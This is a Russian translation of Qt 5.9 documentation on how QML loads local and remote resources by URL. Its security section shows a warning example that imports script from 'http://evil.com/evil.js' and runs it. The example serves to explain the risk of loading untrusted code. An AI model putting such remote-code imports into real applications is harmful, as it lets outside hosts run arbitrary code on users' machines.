Spec-Zone.ru › Qt 5.9

Загрузка ресурсов и сетевая прозрачность

QML поддерживает сетевую прозрачность, используя URL-адреса (а не имена файлов) для всех ссылок из документа QML на другой контент. Это означает, что QML может обрабатывать удаленные ресурсы так же, как и локальные, в любом месте, где ожидается источник URL, например, в следующем источнике изображения:

Image {
    source: "http://www.example.com/images/logo.png"
}

Поскольку относительный URL-адрес такой же, как и относительный файл, разработка QML в обычных файловых системах остается простой:

Image {
    source: "images/logo.png"
}

Сетевая прозрачность поддерживается во всем QML, например, элементы FontLoader и Image поддерживают загрузку ресурсов с удаленного сервера.

Даже типы QML сами могут находиться в сети — если используется Прототипирование с qmlscene для загрузки http://example.com/mystuff/Hello.qml и этот контент ссылается на тип «World», движок загрузит http://example.com/mystuff/qmldir и разрешит тип так же, как и для локального файла. Например, если файл qmldir содержит строку «World World.qml», он загрузит http://example.com/mystuff/World.qml Любые другие ресурсы, на которые Hello.qml ссылаются, обычно с помощью относительного URL-адреса, аналогичным образом будут загружены из сети.

Относительные и абсолютные URL-адреса

Всякий раз, когда у объекта есть свойство типа URL (QUrl), присвоение строки этому свойству фактически присвоит абсолютный URL-адрес — путем разрешения строки относительно URL-адреса документа, в котором используется эта строка.

Например, рассмотрим этот контент в http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

Свойство источника Image получит значение http://example.com/mystuff/images/logo.png, но во время разработки QML, скажем, в C:\User\Fred\Documents\MyStuff\test.qml, оно получит значение C:\User\Fred\Documents\MyStuff\images\logo.png.

Если строка, присвоенная URL, уже является абсолютным URL-адресом, то «разрешение» не изменяет его, и URL-адрес присваивается непосредственно.

Ресурсы QRC

Одна из встроенных в Qt схем URL — схема «qrc». Это позволяет скомпилировать контент в исполняемый файл с помощью Системы ресурсов Qt. Используя это, исполняемый файл может ссылаться на QML-контент, который скомпилирован в исполняемый файл:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Затем сам контент может использовать относительные URL-адреса и, таким образом, будет прозрачно не знать, что контент скомпилирован в исполняемый файл.

Ограничения

Выражение import является сетево-прозрачным только в том случае, если оно имеет условный оператор «as».

Более конкретно:

  • import "dir" работает только в локальных файловых системах
  • import libraryUri работает только в локальных файловых системах
  • import "dir" as D работает в сетевом режиме
  • import libraryUrl as U работает в сетевом режиме

Последствия для безопасности приложения

Модель безопасности QML заключается в том, что QML-контент представляет собой цепочку доверенного контента: пользователь устанавливает доверенный QML-контент так же, как устанавливает родные приложения Qt или программы, написанные с использованием сред выполнения, таких как Python и Perl. Эта доверие устанавливается с помощью различных механизмов, включая наличие цифровой подписи пакетов на некоторых платформах.

Для сохранения доверия пользователей разработчики QML-приложений не должны загружать и выполнять произвольные JavaScript или QML-ресурсы. Например, рассмотрим следующий QML-код:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Это эквивалентно загрузке и выполнению «http://evil.com/evil.exe». Движок QML не будет препятствовать загрузке конкретных ресурсов. В отличие от JavaScript-кода, который выполняется в веб-браузере, QML-приложение может загружать удаленные или локальные ресурсы файловой системы так же, как и любые другие родные приложения, поэтому разработчики приложений должны быть осторожны при загрузке и выполнении любого контента.

Как и любое приложение, обращающееся к контенту за пределами своего контроля, QML-приложение должно выполнять соответствующие проверки любого недоверенного данных, которое оно загружает. Не используйте, например, import, Loader или XMLHttpRequest для загрузки любого недоверенного кода или контента.

© The Qt Company Ltd
Licensed under the GNU Free Documentation License, Version 1.3.
https://doc.qt.io/qt-5.9/qtqml-documents-networktransparency.html

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API